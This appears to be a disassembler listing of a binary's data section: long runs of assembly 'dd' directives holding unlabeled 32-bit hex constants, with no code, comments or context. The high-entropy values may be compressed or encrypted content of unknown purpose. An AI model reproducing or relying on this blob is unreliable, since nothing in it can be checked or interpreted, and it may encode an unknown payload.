		dd 6E1F5B52h, 0AC05AE0h, 3B7ACC01h, 0BF400031h,	5C193214h
		dd 78605E88h, 0B8F8D3F0h, 80023965h, 9E38EA9Ch,	0FD014133h
		dd 505220EBh, 0A4393C8Ch, 0B32D670Ch, 31C090BFh, 7281C5A3h
		dd 9D25C075h, 0CDBD4A00h, 0CAFEF582h, 38690036h, 91494383h
		dd 1F01A86h, 560088F4h,	7D7639E0h, 7B296Bh, 67F7C42h, 0A34DEE1Bh
		dd 1113AB01h, 0D235FCDFh, 7823AE70h, 0D0750051h, 8455AC71h
		dd 3C7D0D53h, 0F7586B03h, 9B926CE1h, 0E5B4F825h, 555E0042h
		dd 64CF24F5h, 6F000BFBh, 0B0802609h, 9DBAAFh, 0FDC34C51h
		dd 902B3078h, 0C136F901h, 81258A23h, 60AAE0h, 6415B637h
		dd 0F0E9F78Eh, 30654601h, 1CBF1BB3h, 58B130h, 4F9EBA81h
		dd 34B29899h, 0AA2C5D07h, 4700A5B5h, 1CB271Bh, 0A28528F6h
		dd 0FC9A59DBh, 32B84569h, 0AC0E3173h, 60E4F81Ch, 0E859252Fh
		dd 0AFE900F6h, 8FE6DB94h, 1300CDABh, 0F91CC06Eh, 8BEB23h
		dd 63275077h, 67DA91FBh, 2B00CCE8h, 31BFD27Ch, 50EB39C0h
		dd 0F8ACB8h, 0A4237E25h, 7A5970CEh, 499CDD19h, 44E4219h
		dd 7C02A1B0h, 0FDE010C0h, 825B6Ch, 0FC0B4992h, 744B123h
		dd 3A03391Eh, 0A5C3ACCFh, 140261C9h, 4FD7275h, 284286E9h
		dd 0C789E610h, 8702201h, 8819280h, 8F870E0h, 8A0A3A84h
		dd 8052A388h, 2417C84Dh, 0A2065B1h, 70DE22DAh, 2277D822h
		dd 0CDECFB99h, 0A74200EDh, 4C0C80A8h, 88C0C588h, 5363D01Ah
		dd 8A9D6A0h, 7F79E29h, 7183D110h, 5021D9DEh, 81CF1DBAh
		dd 0DD92832Eh, 19FB11C1h, 0A34E8C51h, 0F6B129BCh, 4035E951h
		dd 2AD81EA0h, 0ACE3011Eh, 44C6CA00h, 418FD2h, 0DF0A7D36h
		dd 96193E6Bh, 6A246700h, 3DC39B53h, 0AF4316E8h,	72FA00BFh
		dd 66676DD0h, 127E8C00h, 0DFAAE44h, 2A9A005Ch, 0B6B04A27h
		dd 0DA0067B9h, 0F0C52815h, 107C9A4h, 0DE1EDC5Bh, 0C8EF873Ah
		dd 0AB0F114Dh, 0E08AB4A1h, 8ED19EFDh, 0D4E90032h, 29ECC4C1h
		dd 2E06149Ch, 1E345624h, 908E00B4h, 7357F5FFh, 7E390E82h
		dd 5F480E6h, 19E79960h,	3E83008Bh, 98B7ECB9h, 0F9007633h
		dd 592FF263h, 9F4EAEDh,	0C13F2A41h, 24903C20h, 9C0089ABh
		dd 0DBCFB61h, 7C51ECDh,	318DCF1Ah, 0BAF7504Eh, 0C00B6ADh
		dd 0FA14ED7Ch, 1A8B0B5h, 0F0124CE3h, 0D4BD9E0Fh, 0A3F40701h
		dd 8BB61700h, 0EC1BCC65h, 0B113002Dh, 6A02CFFCh, 500B07Ah
		dd 0A8A60735h, 482A6BA4h, 3A00804Ch, 0B1301784h, 5207DFAAh
		dd 1A725734h, 0C7FDC980h, 16EB017Dh, 0D83F5F7h,	0D65AC051h
		dd 8DECBB02h, 0C028C21Eh, 4C7D2252h, 0B300E197h, 0C8DB234Fh
		dd 0DE0035A5h, 3BD12AA9h, 99A23Ch, 0E0E2B216h, 275C077Bh
		dd 101183Dh, 0EDD6EA64h, 413067A0h, 74C472A1h, 68F10EA4h
		dd 61607E21h
		dd 0C19E5C38h, 0EC6ED10Eh, 0F88939h, 244F1B92h,	642300C7h
		dd 0ACC94D12h, 0D005BB3h, 68E10897h, 0F18588h, 641A8149h
		dd 0B492902Fh, 13FDC600h, 0E60A02DFh, 0C51F0541h, 0C0E02BAEh
		dd 78DA367Ah, 15541900h, 0ECEB339Fh, 9D800284h,	0EED74A08h
		dd 7CF65940h, 0B8BC9A00h, 0E5D3195Ah, 0B97D0B4Eh, 0A707FF53h
		dd 0A04B77B6h, 0C0C3B333h, 626D6500h, 7847BB22h, 0B90D03B5h
		dd 0DA644109h, 0DDB35798h, 80A2D23Ah, 49040E58h, 3AC8452Ch
		dd 0F13AAA03h, 176D0700h, 9573B2E2h, 37338700h,	4B8A35C1h
		dd 0A1D80034h, 9B3CB06Bh, 8F1F2C4Fh, 6A00AAD6h,	2F63B2A3h
		dd 69FE1DA6h, 434C80A0h, 3FD0DE16h, 856BB500h, 62F29F1Fh
		dd 0EC2500ADh, 7C0BCE31h, 0E07C003h, 0C678397Bh, 3B951DB0h
		dd 0E2D00017h, 7748E752h, 0D4008813h, 0E6FC146Eh, 0F59AC38h
		dd 0CFA38722h, 0F5574000h, 3C00A477h, 0F08C13F4h, 78C820DCh
		dd 630E006Fh, 938279CCh, 97007111h, 83FDA43Eh, 12224E76h
		dd 0F37D5Ah, 9C85381Dh,	200E575Bh, 0E395745Ch, 0E8B7B99Eh
		dd 0FCB2D515h, 0F67E005Dh, 72FD1056h, 3200E926h, 84278B3Eh
		dd 0B3F429h, 0E0613F58h, 0EA9FB7DFh, 0B8D7E401h, 0A194D304h
		dd 3A60F4h, 1585307Fh, 5CE8A297h, 73244600h, 0D3A774ACh
		dd 0CE230FA1h, 7F26CB9h, 2320A9E8h, 0E3B837A4h,	3F50DC0Bh
		dd 3500AFDCh, 62D944Ah,	115685h, 41A4048Ah, 8F3B07Eh, 3AF62F00h
		dd 7C5F1859h, 93EF027Bh, 246897ECh, 0C495FC41h,	12C5A73h
		dd 0EB000420h, 1EA58E3Eh, 2BF900F3h, 0DB8275AEh, 2400A9D4h
		dd 4624046h, 75C00772h,	16680018h, 6E74EE0Dh, 42E278AEh
		dd 0C1517B00h, 2D584FDDh, 0B166005Ch, 157E7420h, 34047FAAh
		dd 5E81FA1Bh, 399B0FFAh, 20A46EA0h, 0BD000838h,	2D9ECF52h
		dd 43DD7E6h, 0AEE2C77h,	0C409C0C3h, 7C38D479h, 0D75B8775h
		dd 0F0909CE1h, 0DEE5E3h, 0CE676AF1h, 55023BCBh,	8F4CB100h
		dd 4229AAEBh, 89910FE3h, 3CBC6B79h, 4790511Eh, 58A8E0Bh
		dd 0F1A5C062h, 0B100B675h, 0DD9AE456h, 3F59FC9Dh, 2487BB63h
		dd 2034306Dh, 1694C01Bh, 8EBECF01h, 0B649ABA7h,	65CCE8h
		dd 6AE1427Ch, 39519787h, 645C8A00h, 0D70140D8h,	0E4E6000Eh
		dd 0F4E1BCF9h, 2800920Fh, 0A749AE47h, 79BA5Fh, 0C6219513h
		dd 6B99273Fh, 14DDB558h, 2D854E7h, 9A26926Dh, 0C8984359h
		dd 8834CDh, 0D325985Bh,	279C826Eh, 95A8A05h, 1C830C84h
		dd 2E3EE9FCh, 26F85020h, 173FBh, 0F01624FDh, 0DB00D915h
		dd 0E0F7FE9h, 0BE1A70h,	0D2E59BD3h, 0D8E0220Ah,	415920CFh
		dd 0D7B81B3Fh, 0A2861080h, 0F8ED48BBh, 76B13Fh,	58A6A465h
		dd 3932967h, 625AD2D4h,	25B9F305h, 27C4E490h, 0B9505C01h
		dd 9C48300Ah, 90DF0031h, 9EEFA46h, 6EDB7EBFh, 0FE0D6700h
		dd 63009A21h, 498CEC11h, 5D4692h, 6ABEDF64h, 259D0AA7h
		dd 0EC626307h, 0F0D0DDCFh, 4B13BAh, 0E1461227h,	660490EBh
		dd 193CC31Fh, 7E2220C1h, 6BF06328h, 39F600ACh, 8DFBBD84h
		dd 0BE00BB83h, 8A184988h, 4BAF8E6h, 7E9C359Dh, 41AAC023h
		dd 0CD0544DBh, 0E8911AD9h, 0A01E8BC0h, 77800940h, 807D7A8Ch
		dd 0D69A2BB5h, 23F70074h, 2ABA3B10h, 0DF030FD9h, 0DD945D17h
		dd 0C605C0B4h, 76A50359h, 0F20C2B2Eh, 7D117088h, 6EA1B005h
		dd 6EC1F1C3h, 50ECA99Bh, 69980F05h, 4CA0FCC2h, 8DB8EB7Bh
		dd 7D519C00h, 4E7E23CEh, 0ACE685h, 9566A988h, 0B5A43A0Dh
		dd 6B86A70Fh, 0E8DEE72Fh, 0DB4F5AD0h, 232200BBh, 0BA9D830Dh
		dd 390370E7h, 5FEF7136h, 45B21288h, 0E350085h, 0DA30BD18h
		dd 0DC25C12Ch, 956E8539h, 60C228CCh, 3BCF063h, 0E79CD5E6h
		dd 85E0D1E9h, 0CC0106B1h, 5E86A2A3h, 98F46EBDh,	0BE652ECAh
		dd 9913002Fh, 40474E5Fh, 28B6E82Ch, 0A8728D0Ah,	0D95C3600h
		dd 1A2C407h, 20CA328Ah,	0F0AAE757h, 3C00C5CCh, 0F76309DEh
		dd 79F5315Bh, 15220007h, 0FC8EEBEAh, 111CFEF1h,	5400D920h
		dd 556F3038h, 718D0080h, 1EC3F9E6h, 0BB1E200Dh,	0A58BE2DDh
		dd 5F9427B2h, 9EF7B557h, 0C05A2023h, 1FA55072h,	1E906727h
		dd 316A41E6h, 6016147Eh, 0BBB80CCEh, 0AFCF0F01h, 57817A6Fh
		dd 0BDFC9DC9h, 22E2005Eh, 0FD07ADCAh, 0A00CC34h, 9A774DCBh
		dd 881FB8h, 0C1FBBCCEh,	0D4A2997Ah, 0A55A420Ah,	3EB793h
		dd 25458D60h, 39C491Ah,	1ED01535h, 6B88F596h, 0F31FEA17h
		dd 0D240B8B3h, 53742E6Ch, 8F71002Dh, 0E2A75475h, 5600BBAEh
		dd 0AE98104h, 1C1CF0BAh, 8CCAACDCh, 0F76A3DC8h,	7C4C2524h
		dd 0E26EFC40h, 23EA0032h, 0FFDD7733h, 5000743Bh, 0E8CF3BFh
		dd 324B981h, 5719BDECh,	0E4B83595h, 8001AC56h, 0D1C539B8h
		dd 73D81F04h, 3B500010h, 3F0ACA3Dh, 0A9007EE7h,	91D01384h
		dd 2AC446Fh, 0F5985EE8h, 0F1604FD9h, 0B1E425FEh, 0D6918200h
		dd 0B6E7C52h, 3CF9007Fh, 0D09F09Eh, 1200E95Ah, 0ED9DE7EEh
		dd 8535FBh, 0ECB27D42h,	4F0C7B60h, 62F0E800h, 33EA3A6Dh
		dd 7BF0982Fh, 9C07D35h,	0FC19DCB1h, 0B7DEE001h,	6918F0BCh
		dd 0BF00FBFEh, 6C07A68Eh, 9848B363h, 36A900BCh,	7B5735DFh
		dd 0B5006046h, 811E0EC6h, 0E267480h, 0E70137BBh, 126F8600h
		dd 0D009F53h, 0C08F4F73h, 0FE85A91Eh, 7E47007Ah, 0B71D5518h
		dd 9C0067B9h, 23DDD152h, 0FF47F91h, 0ECD3E4B5h,	6F2C05A0h
		dd 8F00DA0Fh, 2992C53Eh, 0F3AE2Fh, 0E1B7F6CBh, 847811AAh
		dd 9861C300h, 0D3EB3439h, 2315008Eh, 0D89B4668h, 26DC55C2h
		dd 0A2966A82h, 3F82C014h, 564724F0h, 0C61300B3h, 7C19166Ch
		dd 0E228D524h, 0D35B0100h, 25847Bh, 7A94F717h, 0AD2CC4B1h
		dd 330FE173h, 60F420F3h, 47964C61h, 0BD61285h, 0F2AC0E92h
		dd 2CE400F6h, 18EAD09h,	4603F8F4h, 190C3F98h, 0D8DEFB22h
		dd 0CBE19Eh, 89C2D1D7h,	0BEE78164h, 13373F0Fh, 7216009Ch
		dd 3D78B0E8h, 0C980C25Bh, 4702CA62h, 4C2BF47Dh,	31A6B46Ah
		dd 2B85A601h, 0B4412602h, 2C6047FFh, 0A3D60044h, 5C726F29h
		dd 2701458Ch, 8E0C6B6Ch, 0DBC098ECh, 95CD00F2h,	9C9170EDh
		dd 1200E6D7h, 8EC7E324h, 638C2h, 0FBD0B001h, 7C090C6Eh
		dd 39AF6F00h, 2E462644h, 310100ABh, 2B8132DEh, 0C0704FFh
		dd 0AEAD0DD9h, 0C6964220h, 391076Ah, 90DACB5Ah,	0B4122975h
		dd 0A853E50Fh, 1044203Dh, 4C65027Ch, 0FF008E2Fh, 93E54D9Ah
		dd 0EB0F15FDh, 20D742B1h, 2EABCDDAh, 722C0045h,	0FF1E877Ah
		dd 0DC00BF2Ah, 0CC9022DDh, 70EDA14h, 479AEACDh,	4CE01E58h
		dd 0FF92971Bh, 243B7C01h, 13442F66h, 0EBCC960h,	9AB60762h
		dd 7F054Bh, 0E63090E8h,	2DF20031h, 3C125B27h, 0F902818Eh
		dd 0BEB1E425h, 1508C0DEh, 38760188h, 0BF8B2B5Ch, 90D66067h
		dd 2023FF30h, 6D4B45h, 3568BA59h, 0E798AE34h, 5E8CA30Fh
		dd 198A00E4h, 7CD958h, 22BE5012h, 24A3A5F6h, 4197CF09h
		dd 0FF288892h, 0F2D53B03h, 0F39C00F9h, 0F61C14C4h, 5E07FB50h
		dd 0D3DDE7CCh, 30BFD6h,	9AF51DC1h, 0DFB9684Ch, 0AEDAC6C0h
		dd 3EB2146Bh, 93009641h, 2CB407A9h, 0E707B48h, 946EBC00h
		dd 4B82E28Fh, 315900F5h, 0E617C037h, 0CA171A8Eh, 5C009521h
		dd 84B51696h, 40560E26h, 0FC608C42h, 0CFBE0D8Ah, 98D2D00h
		dd 0E27D8946h, 0F480008Eh, 77C894D6h, 0B3E3DE7h, 670475BFh
		dd 1EA59B18h, 3BC4FBC0h, 6460000Fh, 0F22F1168h,	9703230Ah
		dd 0E2CFC0B8h
		dd 0E3E79852h, 0BFFA3CBEh, 0FFCA2C80h, 0BC49FC0Ch, 2BE4EF70h
		dd 225713Bh, 7750BF4Ch,	0BAC08013h, 78AB55h, 5431EBB2h
		dd 0B0996F1Dh, 0A1125000h, 0FC9B664Bh, 14DE0725h, 0D0A7BF2Fh
		dd 3378E37Ah, 9A3CCB72h, 3FCD81FEh, 1A3748Eh, 7D0469C8h
		dd 0B8860087h, 8DD12543h, 203E93Dh, 960E825Eh, 9071D852h
		dd 1E9498D6h, 89145C2Bh, 6480894Ch, 4511CA2Eh, 9FCEF200h
		dd 2B3787DCh, 0AA5D0058h, 57722A83h, 0E700EF1Dh, 0F842973Eh
		dd 0EAFBEF3h, 0AE44E97Ch, 675514A0h, 0E6006801h, 0BA6A2FE2h
		dd 0D832C2h, 0B53FFB17h, 0D41D1A5Fh, 2CF31204h,	52C0A84Bh
		dd 984D4788h, 0BD64027Eh, 0C16F8F20h, 11DB1540h, 0C267E304h
		dd 8B87949Bh, 92D11F60h, 747043h, 0B598427Bh, 752C3A80h
		dd 0F9D43600h, 0C04F1778h, 0E5D73F6Dh, 3CF35600h, 89EDF76Fh
		dd 2D7DF3B0h, 2981F600h, 5D139FD0h, 0F578004Ah,	87109AE2h
		dd 0BDF21E16h, 0BB98DFF2h, 0B045D107h, 0C95268h, 9544DCE8h
		dd 0E1840003h, 57C1BB07h, 37263EC6h, 4305D45Eh,	98C009B7h
		dd 0DC3846h, 0E01B3985h, 0C7AFE658h, 3AC10100h,	0B82C09E8h
		dd 1FABF6ECh, 80713743h, 1D3B4415h, 5C00962Fh, 0C2CE7ADh
		dd 0DB05C6h, 31224201h,	6B992D40h, 9801EB75h, 2444AB7h
		dd 10745992h, 0F3681689h, 40C41D1Ch, 98EB6FCh, 2D009871h
		dd 0CF40B101h, 5D9EFh, 36CE5049h, 3C62A7C7h, 0CADE9600h
		dd 0E0C352A3h, 0DA331D51h, 64EC8359h, 77884510h, 0D2004717h
		dd 0D431AA96h, 0A0B3D9h, 62BA5B1h, 714F6995h, 41104B00h
		dd 2E9F3531h, 720100BFh, 86CBF17Dh, 2318B893h, 0EA03C69h
		dd 0E54F0Ch, 64169830h,	0FC606CFFh, 59037E10h, 9A5C00ACh
		dd 28C56EAAh, 473B494Dh, 0BC06005Fh, 0DA099411h, 7A7402B9h
		dd 29330C62h, 6EABCAC0h, 6FE5280Bh, 2D198065h, 7EBE893Ch
		dd 0D9D60084h, 5E97674Eh, 0E576686Eh, 0B5A4551Dh, 2488D541h
		dd 635145h, 1C864DE8h, 0C0392E83h, 8CE2073Ch, 4600E0F8h
		dd 0BD157DEFh, 0A04ECAh, 50C5C0F1h, 6FF5CE39h, 98649400h
		dd 90D253DBh, 58203B16h, 919D3000h, 0BE7E9245h,	1B0FCB00h
		dd 95E343EEh, 0F34100FCh, 9883FA25h, 0A3007CF6h, 0E9D6A282h
		dd 59F38E3h, 54EF6537h,	1EB0B226h, 0A5801412h, 2A030410h
		dd 0F23403C5h, 6C92C9AAh, 5BB97EB8h, 36AC048h, 0FDFA07BFh
		dd 0E05FEA34h, 4050Ah, 7E802050h, 1AAA36Ah, 0DD9D1600h
		dd 0AC0D251Ch, 0D37D00D2h, 82F8A831h, 0EE12FC5Bh, 0EC40AB86h
		dd 0ADF38432h, 0BA130058h, 7DFA772Ah, 923D3679h, 0C0285CB2h
		dd 6F2E906Ch, 27F13811h, 1879F300h, 0FE8CB37Bh,	7221692Ch
		dd 0F4659D07h, 94E3B880h, 8F3C3D0Dh, 0D3D920E0h, 170205E1h
		dd 7C916F58h, 598861DDh, 3CC2E870h, 9200F7EDh, 313910F8h
		dd 0DC09D30Ch, 80263A03h, 1AA3183Ch, 0B8EF6FD4h, 169C5700h
		dd 2C94CB47h, 0C297E500h, 0C0B2894Bh, 0AA43B310h, 0D03C37C5h
		dd 516E1D98h, 53E3D980h, 2E55D2FCh, 80B815EAh, 0F7840554h
		dd 0FD007E2Ah, 7814E7F5h, 384B52AEh, 0D5241F39h, 640F01D7h
		dd 0E82E4806h, 0DCB0D070h, 0A4000DF8h, 0F4457E6Ch, 6FA99h
		dd 0F9ED721Eh, 94B7DE73h, 814A3400h, 5A926317h,	13250018h
		dd 0FF030CBFh, 60002EC6h, 0D3F77BC3h, 7FDEAC4Ah, 0BD7F88Dh
		dd 0E6AE7D3Fh, 41B40A3h, 0D75FBF0h, 0BE70800h, 1A33F45Ah
		dd 86D107F5h, 5F4A6B01h, 129FEE60h, 0C300C841h,	0BB447959h
		dd 2A4833h, 0D269033Fh,	9CA48472h, 5A0152C0h, 93247702h
		dd 23DA004Ch, 8CA49053h, 0F8E070B8h, 0F5A19E00h, 0FD60B9A6h
		dd 27B05D5h, 80389D85h,	0EA21C0Ch, 4C1D78E4h, 8B8925F7h
		dd 20B06089h, 0E89B48C1h, 14BA3900h, 0CC69EA34h, 0E7001870h
		dd 0E9C9CBA6h, 0E41A3Dh, 0BBF9EC3Ah, 0E0D8BCDh,	3CE7FC00h
		dd 68A68EB1h, 8A7D000Bh, 0C0084CBCh, 320C304Ah,	60BFBABDh
		dd 0C8B107E8h, 0DEB28759h, 90DC4200h, 8826AB8Eh, 2B017713h
		dd 0A7FCFBB5h, 9A4DAECh, 0E8CFFF55h, 0ECC0D280h, 7B03287Fh
		dd 746CDDD9h, 335E989Eh, 4A9D1E2Dh, 0FE25006Dh,	9745CE0Dh
		dd 16BB3C00h, 0A17B4C53h, 0F9E600FFh, 0E885EFE7h, 0C100322Dh
		dd 6EB63B2Ah, 0AC4455h,	1118FDA2h, 0C47C965Dh, 6D33E118h
		dd 53F79Ch, 9D820759h, 2EC3A7B5h, 85C41C00h, 0B4524355h
		dd 0D656006Fh, 389C5C71h, 10B00CB7h, 0EF09F000h, 5A0E1EC7h
		dd 98E24Bh, 198B1C8Dh, 7D15ADC1h, 0F954B701h, 306A9A75h
		dd 0E3275260h, 21A440EEh, 52E0A87Eh, 0DFD53BEDh, 0AA531B80h
		dd 5089FDA4h, 9395BB00h, 0C3B8F436h, 0E7A20039h, 0A84ED87Ah
		dd 1800A068h, 0FD8592E4h, 3DE5BFCFh, 0D381EC0Dh, 1B1181D8h
		dd 0DBFCCC59h, 157ADE00h, 9F23429Eh, 88520067h,	0E8A771BFh
		dd 0F5EC6ED2h, 6A6D860Fh, 7BCA4077h, 1D10FB6h, 9F34707Ch
		dd 20D93E4Ah, 7E44BF2Ch, 81CB03BAh, 0C5E65ABh, 19E53398h
		dd 0FD0A3Dh, 10F44D3h, 16DE97Eh, 23C8C027h, 3499A8A3h
		dd 150FD858h, 4943F7B8h, 9869003Eh, 1DC7CF7Fh, 93256B46h
		dd 96E44582h, 7AD8E2BFh, 866A7400h, 511BEDACh, 587C009Bh
		dd 8865E220h, 0F609F7C9h, 29DF3A2h, 40C78FA4h, 0F8415h
		dd 754631F8h, 0A8E16B32h, 54EEC07h, 5DA0EBF4h, 2CEE5C9Ah
		dd 0D1DF53h, 35B6C1B0h,	2C00BC2Dh, 0D718CF3Eh, 12109F8h
		dd 3FE97D01h, 30876451h, 9A00A79Ch, 0CED7A1C1h,	1378886Eh
		dd 83D5BAE7h, 47904435h, 0E100F67Eh, 0BC8D65B5h, 2FCE215h
		dd 9168367Bh, 0B8C124D1h, 0C880F0A8h, 33B68F00h, 0DE25C5E6h
		dd 878907A6h, 5096B4FFh, 0D68FED64h, 0D8423B0Bh, 1B40E6Dh
		dd 2F13D7FDh, 0F5C960h,	0D992A479h, 441C9518h, 0F13B60EAh
		dd 0B0341DC4h, 0C6528B00h, 50B64BDh, 0EC5AAEFCh, 536E8121h
		dd 6A13D43Bh, 1A93938h,	0E9F1F2CFh, 0A8E77A45h,	0CBD47Bh
		dd 66E14D17h, 0A081825Fh, 9285721Fh, 38C08C0h, 3525F4h
		dd 0F8967BE8h, 0A031F92Fh, 0FD89EE3Ah, 924E7E3Ch, 84806BD9h
		dd 4540ECh, 34F2A94h, 777815F3h, 0D21C8900h, 99D46D38h
		dd 7D981Eh, 55D07E4Ch, 4F343A41h, 0A01271F2h, 4C05D81Bh
		dd 65C04449h, 0CEBF0Ah,	8E808F01h, 851417C8h, 87A0F613h
		dd 0A1D64103h, 0E03CB85Ah, 8F6901B5h, 290AE7D3h, 23A8098h
		dd 0C4A71F4Ah, 1EE4737Ah, 40116D80h, 0AD297A8h,	5B006921h
		dd 0C70475D9h, 7391473h, 0ED0265CBh, 44C89082h,	951D5530h
		dd 0CD80D07Ch, 0D9CFFA7h, 364B00FBh, 0A13A8159h, 0B10F9068h
		dd 77730ADEh, 0F0D30100h, 3FB9C8h, 0C742E9D8h, 2114D9A2h
		dd 83DACC00h, 17262E6Eh, 93A300A8h, 9CAE08B2h, 0FBB09620h
		dd 0D6D02C00h, 0B0EB1AC2h, 70FC7C77h, 0EF9E0004h, 81D9E373h
		dd 0F0F01F6h, 20C94E21h, 4282CE2Bh, 0C46600CAh,	0E97B6E4Bh
		dd 94071643h, 7DF76A6Bh, 4EB718E0h, 45DF06Fh, 41EB1C8h
		dd 0B800B38Bh, 0FAAF11A7h, 9BB30041h, 0D3E37B66h, 9C6A00ABh
		dd 600D919Ah, 165059BFh, 5D0040ECh, 0E2088B7Ah,	1EFC3E64h
		dd 0C0B74D9Dh, 6546643h, 62F86BFEh, 9A4AF200h, 615FDC7Ch
		dd 52EA0092h, 160A8276h, 24EB9310h, 0FFA08924h,	64715AE5h
		dd 0BF72DD00h, 7E926AA1h, 9E1C0060h, 0BEA87C03h, 2A001BDBh
		dd 0C2EF8AD4h, 58496A2Dh, 1783646Bh, 0A2986995h, 7002B7Eh
		dd 4AC43091h, 300302A8h, 6620164Bh, 0AF0F2E6Bh,	0A5A2053Bh
		dd 0B0404C73h, 2C76B744h
		dd 71422FC3h, 0A078C083h, 0FD94C6A0h, 281D094Bh, 0C0D1600Fh
		dd 2B8AF57Eh, 83580048h, 8F2E1827h, 9300251Dh, 5FEE6375h
		dd 1DF35A3Dh, 0BEC4CBh,	313A9DA8h, 12122048h, 10B28AB2h
		dd 0CA17330Eh, 0D08525C2h, 3BAEDC48h, 0D72CBD00h, 0D6BAB544h
		dd 0C11127BCh, 0AE429003h, 7818CE98h, 0F8309D00h, 849FB8BDh
		dd 50C600ACh, 0B155CA1Ah, 5A2C11F2h, 0A11680FAh, 5345A800h
		dd 0FDCC20h, 0B8BCC2A9h, 0C9296F1Eh, 0EE5EB900h, 546D234h
		dd 0C5EC0065h, 70D0E7F6h, 22FC8CF0h, 80A56A3Ah,	3478FC14h
		dd 0B80D08h, 70C57EA3h,	23A83050h, 0DABC94A0h, 0AA6B3E0Dh
		dd 0BC691024h, 6223BD00h, 90C44587h, 0E1AC8907h, 0E5803C36h
		dd 3D4FDE3h, 44CE0C2Eh,	51B02522h, 76006896h, 0DFFA5D3h
		dd 127D0FFCh, 402D3C06h, 0B3993BA8h, 314CBA40h,	96B216A4h
		dd 0F3DECC00h, 0ECED326h, 7984E09Dh, 0B4055A00h, 0FC005FD9h
		dd 416DAE0Ch, 36AD197h,	0B3BAC4D0h, 93988F1Eh, 5000077Ch
		dd 36223F67h, 78B31EBh,	7B48BB55h, 2020ABEAh, 0D2028FE2h
		dd 0A000E4EEh, 168D037Ch, 0E2FC576h, 6A66C17Bh,	0BE6B5420h
		dd 88006945h, 0D3F8E08Ah, 89D774h, 0D27844A6h, 0BE9C01A0h
		dd 0A5D12A00h, 87F3E9B9h, 35580076h, 0D005577Ah, 0A600023Ch
		dd 0B36D1C23h, 3930C38Eh, 1B804A07h, 0BD66F679h, 0D0000A6Fh
		dd 0FAA58C1h, 0F5DF4FBh, 16C4AD78h, 0DFDBCE00h,	0B600F164h
		dd 0C00C6DBDh, 3DFA7Eh,	41513384h, 7291E49Ah, 1912C803h
		dd 0E84576D8h, 3390AD7h, 1647A7A6h, 0EBD070F3h,	8100AB23h
		dd 0DA09B15Dh, 0BE947Eh, 8583F7F0h, 0EB392258h,	0DF75CB0Fh
		dd 0B1539E53h, 0C44016A1h, 3B78110h, 8C459B87h,	75F0B05Eh
		dd 7800F470h, 46FF93AEh, 0F1D02EEh, 2282BA3Eh, 0CBCF003Dh
		dd 0BD40F213h, 700A2700h, 0A4D70B25h, 9052718Dh, 7E64019Ch
		dd 0BFE9392Eh, 79606C94h, 4C00D971h, 0CEF26F52h, 0B652274h
		dd 0A8C1FD2Ch, 83445C80h, 8700F0B5h, 8A709F46h,	13884Dh
		dd 2F3072ECh, 0D42E356Ah, 9907940Ch, 0A4E6CAh, 0D101BFBBh
		dd 0A885E7B3h, 231B4F00h, 15CF04CBh, 0A96A0057h, 5D38FFA3h
		dd 940EC4BCh, 0A01A2DACh, 0DF04232Fh, 0FAAE00ABh, 0D9A76FA0h
		dd 0DA011507h, 0AF5A9262h, 0B1D3D88Ch, 5074C0EBh, 26CC0E22h
		dd 1D8AF8DBh, 850A00A7h, 3FD6C942h, 0E3230700h,	9EC16C36h
		dd 67980791h, 4095A403h, 0EBC02E6Ah, 0A386B700h, 9F62FBE3h
		dd 0E25800D5h, 655B5DAh, 6EFA15A4h, 39511A1Eh, 0A774B48Fh
		dd 5E60189Dh, 0E8A9091h, 34C7683Ch, 7ED5FB20h, 0C0170EC6h
		dd 0BA005D07h, 8599203h, 1B97002Ah, 25DCB7D2h, 0A500019Bh
		dd 39A4233Fh, 48FCCB11h, 6F01FE5Dh, 2715A937h, 0AFFFE870h
		dd 95249F07h, 87C7CAF1h, 4D2B0350h, 4EA7003Eh, 63E8C031h
		dd 72F62CA8h, 6A3C4100h, 96DE66FFh, 0F4B7002Dh,	0D274EFD9h
		dd 0DF00F1CCh, 5910F6F5h, 0F8B8D095h, 0DB05006Fh, 0EE6ACAA2h
		dd 0B60008E9h, 0AB87E736h, 396E62C3h, 0D600B85Bh, 0D5A0ADE0h
		dd 0C900A9CDh, 6611BA8Fh, 25B54Bh, 82DC8E56h, 76F89F8Bh
		dd 8A6CAE00h, 0B1043D2Fh, 11D7004Dh, 95C3845Ch,	0CD7C3A87h
		dd 0E7F1E000h, 61F58210h, 68EC03BBh, 0F3209EBh,	7949C0A5h
		dd 77002704h, 30ED5953h, 407556h, 0A65FA3F8h, 0C17EFE41h
		dd 0A9F00F00h, 17E461DFh, 0D11800BDh, 1AEBEE53h, 0A30074ACh
		dd 14A8671Bh, 643359h, 0B64291D2h, 458FD3Ch, 0E04B0501h
		dd 5448C19Ah, 0D0B78440h, 0A84403E5h, 0AC293574h, 0B3FA66A8h
		dd 0A64F7800h, 0E1619894h, 53C000FCh, 30DBAE33h, 2D005C97h
		dd 4069E8D1h, 0E0E639B5h, 3F173F2Ah, 950F4A87h,	4700DE9Eh
		dd 56946D3Eh, 5A73BD00h, 0F23BDF03h, 0F6FB012Ah, 4241CC62h
		dd 8A3E8F83h, 9AEEE0ADh, 24B30FEDh, 9367BBh, 385E6EC2h
		dd 1D48C855h, 6AC0619h,	308975h, 6D5D2395h, 0E0132FC7h
		dd 0DC3281Fh, 3D590380h, 3A0F9546h, 4201C4BEh, 6EF1DF15h
		dd 0FCCEF00Eh, 8616897Dh, 8A0068A5h, 0BCC0BAC1h, 0FD60015Ah
		dd 220A4C52h, 0EEB97080h, 0B3020EECh, 9184541Ah, 2EA96055h
		dd 0F8420081h, 45B03933h, 1B13AC90h, 70F8C6Bh, 431AA04Ch
		dd 0A91F9Eh, 283E7B69h,	0BBCAAB39h, 0A8A5B800h,	79B1CDD9h
		dd 0FFA1003Bh, 9DCBD60Ah, 132655C5h, 0F500DA22h, 860ED85h
		dd 0D738003Bh, 80BCFAE1h, 47007481h, 2D7B427Eh,	3610469h
		dd 0C9F1F2A1h, 10A8DB11h, 0E74C03E4h, 5D090C8Ch, 173166h
		dd 0E62D3D9Dh, 0C6B06034h, 1F7C013Eh, 7A00AB69h, 8A041722h
		dd 437495h, 1DC0B7Fh, 66772BC6h, 59EA6101h, 0D1AAB890h
		dd 54B20h, 76AFB458h, 7B91E09Fh, 770669D6h, 80E5C7h, 0B0791089h
		dd 8BAAE1F2h, 228DF002h, 40A249D9h, 0B5B7E988h,	827BAC21h
		dd 0C5A9C404h, 0AAA6D400h, 7A5EB6ECh, 74240075h, 0B78041D5h
		dd 561C673Fh, 3C0042Eh,	0B2FBBAF8h, 0A4DA0044h,	0F4DBF252h
